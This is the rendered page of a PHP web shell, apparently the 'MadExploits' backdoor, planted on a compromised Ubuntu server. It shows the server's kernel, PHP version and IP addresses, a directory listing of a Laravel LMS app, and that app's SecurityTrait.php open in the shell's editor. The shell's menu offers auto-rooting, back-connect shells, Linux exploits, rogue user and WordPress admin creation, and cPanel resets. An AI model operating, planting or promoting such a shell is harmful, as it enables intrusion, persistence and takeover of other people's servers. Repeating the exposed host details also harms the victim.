Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
lms-api-8 /
app /
Traits /
[ HOME SHELL ]
Name
Size
Permission
Action
backup
[ DIR ]
drwxr-xr-x
CommonTrait.php
9.7
KB
-rw-r--r--
FileUploadTrait.php
28.11
KB
-rw-r--r--
HelperTrait.php
953
B
-rw-r--r--
ImageUploadTrait.php
23.37
KB
-rw-r--r--
MailSettingTrait.php
3.24
KB
-rw-r--r--
RepoTrait.php
692
B
-rw-r--r--
SecurityTrait.php
827
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : SecurityTrait.php
<?php namespace App\Traits; trait SecurityTrait { public function checkUser($user, $user_type = NULL) { if (empty($user)) { return $this->error_response('Such user does not exist.'); } // dd($user); if (!is_null($user_type)) { if (!$this->checkUserType($user, $user_type)) { return $this->error_response('User with email ' . $user->email . ' and ' . $user_type . ' role does not exist.'); } } return $this->success_response(NULL, NULL); } public function checkAdminType($user) { return ($user->user_type == 'admin') ? true : false; } public function checkUserType($user, $type) { // dd($user->user_type); return ($user->user_type == $type) ? true : false; } }
Close